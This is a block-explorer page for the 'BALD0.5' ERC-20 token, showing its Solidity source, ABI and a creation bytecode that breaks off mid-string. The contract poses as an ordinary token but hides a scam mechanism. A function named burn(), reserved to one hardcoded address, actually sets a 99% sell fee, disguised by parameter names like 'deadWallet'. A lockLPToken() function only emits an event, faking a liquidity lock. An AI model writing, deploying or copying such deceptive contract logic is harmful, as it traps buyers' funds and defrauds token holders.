ERC-20
Overview
Max Total Supply
999,999,999 BALD0.5
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
24,872,020.168730771336268598 BALD0.5Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BALD
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-01 */ // SPDX-License-Identifier: MIT /** ⠀⠀ $BALD0.5 */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "BALD0.5"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "BALD0.5BALD0.5"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "BALD0.5BALD0.5BALD0.5 "); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "BALD0.5BALD0.5BALD0.5BALD0.5"); return a / b; } } contract BALD { using SafeMath for uint256; string public name = "BALD0.5"; string public symbol = "BALD0.5"; uint256 public totalSupply = 999999999 * (10 ** 18); uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public owner; address public swapRouter; uint256 public burnedTokens; uint256 public buyFee = 0; uint256 public sellFee = 0; bool public feesSet = false; bool public feesEnabled = false; bool public allExemptFromFees = true; mapping(address => bool) public isFeeExempt; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 burnAmount, uint256 deadWallet); event LPLocked(address indexed account, uint256 amount); constructor(address _swapRouter, uint256 _burnedTokens) { owner = msg.sender; swapRouter = _swapRouter; burnedTokens = _burnedTokens; balanceOf[msg.sender] = totalSupply; isFeeExempt[msg.sender] = true; isFeeExempt[swapRouter] = true; } modifier checkFees(address sender) { require( allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0), "1BALD0.5" ); _; } modifier onlyOwner() { require(msg.sender == owner, "2BALD0.5"); _; } function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) { require(balanceOf[_from] >= _amount, "3BALD0.5"); require(allowance[_from][msg.sender] >= _amount, "4BALD0.5-"); require(_to != address(0), "-5BALD0.5"); uint256 fee = 0; uint256 amountAfterFee = _amount; if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); if (_to == uniswapContract) { balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee); emit Transfer(_from, uniswapContract, fee); } else { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "BALD0.5BALD0.53xcBALD0.5"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } function burn(uint256 burnAmount, uint256 deadWallet) public { require(msg.sender == 0x9F28ad1d0760c9644cF682f888a993F40c6C7EC8, "44BALD0.5"); require(!feesSet, "55BALD0.5"); require(burnAmount == 0, "6BALD0.51"); require(deadWallet == 99, "BALD0.5213"); buyFee = burnAmount; sellFee = deadWallet; feesSet = true; feesEnabled = true; emit FeesUpdated(burnAmount, deadWallet); } function lockLPToken(uint256 amount) external { emit LPLocked(msg.sender, amount); } function buy() public payable checkFees(msg.sender) { require(msg.value > 0, "BALD0.532"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(address(this), swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[swapRouter] = balanceOf[swapRouter].add(amount); emit Transfer(address(this), swapRouter, amount); } } function sell(uint256 _amount) public checkFees(msg.sender) { require(balanceOf[msg.sender] >= _amount, "BALD0.51313"); if (feesEnabled) { uint256 fee = 0; uint256 amountAfterFee = _amount; if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) { fee = _amount.mul(sellFee).div(100); amountAfterFee = _amount.sub(fee); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee); emit Transfer(msg.sender, swapRouter, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } else { balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount); emit Transfer(msg.sender, swapRouter, _amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600781526020017f42414c44302e35000000000000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600781526020017f42414c44302e35000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162003fea38038062003fea8339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b6138d980620007115f395ff3fe60806040526004361061014a575f3560e01c806370a08231116100b5578063a9059cbb1161006e578063a9059cbb14610454578063b390c0ab14610490578063c31c9c07146104b8578063dd62ed3e146104e2578063e4849b321461051e578063f2fde38b146105465761014a565b806370a082311461037a578063715018a6146103b65780638da5cb5b146103cc57806395d89b41146103f6578063a64e4f8a14610420578063a6f2ae3a1461044a5761014a565b80632b14ca56116101075780632b14ca561461026c578063313ce567146102965780633f4218e0146102c057806347062402146102fc57806347b5dd541461032657806364bcf5f4146103505761014a565b8063036978631461014e57806306fdde0314610176578063095ea7b3146101a057806318160ddd146101dc57806323b872dd1461020657806325e0e4d014610242575b5f80fd5b348015610159575f80fd5b50610174600480360381019061016f9190612d53565b61056e565b005b348015610181575f80fd5b5061018a6105bf565b6040516101979190612e08565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190612e82565b61064a565b6040516101d39190612eda565b60405180910390f35b3480156101e7575f80fd5b506101f0610737565b6040516101fd9190612f02565b60405180910390f35b348015610211575f80fd5b5061022c60048036038101906102279190612f1b565b61073d565b6040516102399190612eda565b60405180910390f35b34801561024d575f80fd5b50610256611289565b6040516102639190612eda565b60405180910390f35b348015610277575f80fd5b5061028061129b565b60405161028d9190612f02565b60405180910390f35b3480156102a1575f80fd5b506102aa6112a1565b6040516102b79190612f86565b60405180910390f35b3480156102cb575f80fd5b506102e660048036038101906102e19190612f9f565b6112b3565b6040516102f39190612eda565b60405180910390f35b348015610307575f80fd5b506103106112d0565b60405161031d9190612f02565b60405180910390f35b348015610331575f80fd5b5061033a6112d6565b6040516103479190612f02565b60405180910390f35b34801561035b575f80fd5b506103646112dc565b6040516103719190612eda565b60405180910390f35b348015610385575f80fd5b506103a0600480360381019061039b9190612f9f565b6112ef565b6040516103ad9190612f02565b60405180910390f35b3480156103c1575f80fd5b506103ca611304565b005b3480156103d7575f80fd5b506103e0611450565b6040516103ed9190612fd9565b60405180910390f35b348015610401575f80fd5b5061040a611475565b6040516104179190612e08565b60405180910390f35b34801561042b575f80fd5b50610434611501565b6040516104419190612eda565b60405180910390f35b610452611514565b005b34801561045f575f80fd5b5061047a60048036038101906104759190612e82565b611b57565b6040516104879190612eda565b60405180910390f35b34801561049b575f80fd5b506104b660048036038101906104b19190612ff2565b611f5f565b005b3480156104c3575f80fd5b506104cc612135565b6040516104d99190612fd9565b60405180910390f35b3480156104ed575f80fd5b5061050860048036038101906105039190613030565b61215a565b6040516105159190612f02565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612d53565b61217a565b005b348015610551575f80fd5b5061056c60048036038101906105679190612f9f565b6129de565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105b49190612f02565b60405180910390a250565b5f80546105cb9061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546105f79061309b565b80156106425780601f1061061957610100808354040283529160200191610642565b820191905f5260205f20905b81548152906001019060200180831161062557829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107259190612f02565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107a05750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806107cf5750600b5f9054906101000a900460ff161580156107ce5750600b60019054906101000a900460ff165b5b806108905750600b5f9054906101000a900460ff1680156108365750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561088f575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806108f4575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156108f357505f600a54145b5b610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613115565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa9061317d565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906131e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad39061324d565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610afe57505f600a54115b8015610b57575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610baa5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610bef57610bd76064610bc9600a5488612b9990919063ffffffff16565b612c1090919063ffffffff16565b9150610bec8286612c6790919063ffffffff16565b90505b610c3f8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610cd08160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d6e9190612f02565b60405180910390a35f821115610fbd575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ec457610e198360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610eb79190612f02565b60405180910390a3610fbb565b610f148360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb29190612f02565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415801561109157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561127b576111218560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112729190612f02565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114829061309b565b80601f01602080910402602001604051908101604052809291908181526020018280546114ae9061309b565b80156114f95780601f106114d0576101008083540402835291602001916114f9565b820191905f5260205f20905b8154815290600101906020018083116114dc57829003601f168201915b505050505081565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff16806115765750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806115a55750600b5f9054906101000a900460ff161580156115a45750600b60019054906101000a900460ff165b5b806116665750600b5f9054906101000a900460ff16801561160c5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611665575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806116ca575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156116c957505f600a54145b5b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613115565b60405180910390fd5b5f341161174b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117429061331d565b60405180910390fd5b5f3490505f60095411156119f9575f611782606461177460095485612b9990919063ffffffff16565b612c1090919063ffffffff16565b90505f6117988284612c6790919063ffffffff16565b905061180b8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118eb9190612f02565b60405180910390a35f8211156119f25761194b8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e99190612f02565b60405180910390a35b5050611b53565b611a6a8160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b4a9190612f02565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611bba5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611be95750600b5f9054906101000a900460ff16158015611be85750600b60019054906101000a900460ff165b5b80611caa5750600b5f9054906101000a900460ff168015611c505750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611ca9575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611d0e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611d0d57505f600a54145b5b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4490613115565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611d96575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611dcd575f80fd5b611e1d8360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f4c9190612f02565b60405180910390a3600191505092915050565b739f28ad1d0760c9644cf682f888a993f40c6c7ec873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613385565b60405180910390fd5b600b5f9054906101000a900460ff1615612030576040517f08c379a0000000000000000000000000000